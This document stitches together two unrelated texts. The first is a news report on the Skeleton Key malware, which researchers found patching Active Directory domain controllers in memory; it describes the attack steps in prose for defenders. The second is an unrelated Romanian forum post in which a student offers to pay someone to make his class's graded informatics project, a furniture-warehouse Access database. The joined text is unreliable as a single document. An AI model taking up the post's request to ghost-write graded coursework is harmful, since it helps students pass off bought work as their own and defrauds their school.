Enterprise Active Directory administrators need to be on the lookout for anomalous privileged user activity after the discovery of malware capable of bypassing single-factor authentication on AD that was used as part of a larger cyberespionage campaign against a global company based in London. Hackers already on the company’s network via a remote access Trojan (RAT) deployed what’s being called the Skeleton Key malware used to steal legitimate insider credentials in order to steal company data and exfiltrate it to the outside without raising many red flags. Researchers at Dell SecureWorks would not identify the organization, nor provide any indication on the identity or location of the attackers, other than to say that it was not an “ecrime” operation and some of the documents taken would be of interest to entities on the “Pacific rim.” Skeleton Key purposely lacks persistence, said Dell SecureWorks director of technology Don Smith. It is installed as an in-memory patch on an Active Directory domain controller and will not survive a reboot. Granted, Active Directory domain controllers such as the ones compromised in this attack, are not rebooted all that often. “I don’t think it was a mistake [by the attackers]. The people concerned have the capability of making it persistent,” Smith said. “The lack of persistence characterizes the stealthy nature of this operation. If you make it persistent over a reboot, you have to leave something behind in the registry or elsewhere that will make it restart. This is super stealthy and this minimizes their footprint. They rely on their foothold elsewhere in the network, and jump in every time they need to.” With access to Active Directory, the hackers can secure username-password combinations and use those credentials to remotely carry out the rest of their attack authenticated as legitimate users. In the case of the London firm, they were discovered on the network which used password-only authentication for its webmail and VPN remote access. Once inside, they were able to use credentials stolen from critical servers, admin workstations and domain controllers to drop Skeleton Key anywhere else on the network. Dell SecureWorks posted a number of indicators of compromise and YARA detection signatures in a report published this week. A number of file names were also found associated with Skeleton Key, including one suggesting an older variant of the malware exists, one that was compiled in 2012. Dell SecureWorks also said the attackers, once on the network, upload the malware’s DLL file to an already compromised machine and attempt to access admin shares on the domain controllers using a list of stolen admin credentials. If the credentials don’t work, they deploy password-stealing tools to extract admin passwords from memory of another server, the domain admin’s workstation or the targeted domain controllers, Dell SecureWorks said. With access to the controller, Skeleton Key’s DLL is loaded and the attackers use the PsExec utility to remotely inject the Skeleton Key patch and run the malware’s DLL remotely on the target domain controllers. The attackers then use a NTLM password hash to authenticate as any user. The lack of persistence isn’t the only perceived weakness associated with Skeleton Key. Its deployment caused AD domain controller replication issues in regional offices that required a reboot. The frequent reboots were an indication that the attackers were re-implanting Skeleton Key, Smith said, which along with the presence of PsExec or TaskScheduler are other anomalous privileged user activities to be on the lookout for. “This was from about just collecting passwords. Once they injected the hash, they could then walk up to any machine in the network, give any user name and their password and get in,” Smith said. “The bad guys used remote access to authenticate at will. I think that characterizes this attack as a long-running cyberespionage operation. There is a lot of information in the victim organization they’re looking for, and they want to maintain as low a profile as possible to evade discovery. All the espionage activity is carried out as an ordinary user. The challenge as a defender is the need to look for anomalous user behavior, which isn’t all that simple a task.” Source

Ziua buna va doresc tuturor. Pentru urmatoarea perioada avem de pregatit un plan de atestat la informatica, urmand ca pana la finele acestui an scolar sa terminam atestatul propriu-zis. Grupa noastra, putin mai non-conformisti si mai lenesi, daca doriti, am vrea sa cumparam acest atestat si sa ne scutim de munca implicata, intrucat nu ne va folosi la nimic concret intr-un viitor, noi cei din grupa urmand alte cariere fata de ceva ce ar implica informatica. Avem de realizat un atestat pe o tema anume : Magazie Firma Mobilier (ce iese, ce intra, facturi, minuni), iar acesta trebuie facut folosind doar MOffice-Access - baze de date, eventual HTML, pentru a nu deveni susceptibili, intrucat nu am invatat la cursuri altceva. Va pot asigura, in cazul in care cuvantul imi va fi luat pe deplin, ca nu sunt "tepar". Plata o facem prin banca, sau Paypal, dupa ce ne asiguram ca nici noi la randul nostru nu vom fi "tepuiti". Avem maturitate in gandire, cat si in actiuni si vrem sa va asiguram de corectitudine. Asteptam oferte, iar daca mai doriti de lucru, putem vorbi si cu ai nostri colegi, care vor fi mai mult decat incantati de a da bani, pe o nota finala . Va multumesc si va doresc tot binele din lume. Bogdan.